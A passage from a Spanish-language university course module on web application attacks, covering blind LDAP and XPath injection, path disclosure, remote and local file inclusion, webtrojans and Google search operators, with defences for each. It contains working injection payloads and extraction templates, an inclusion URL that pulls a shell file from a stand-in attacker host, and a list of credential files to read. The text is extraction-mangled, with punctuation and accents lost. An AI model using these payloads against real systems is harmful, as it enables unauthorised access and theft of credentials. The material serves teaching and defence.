teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
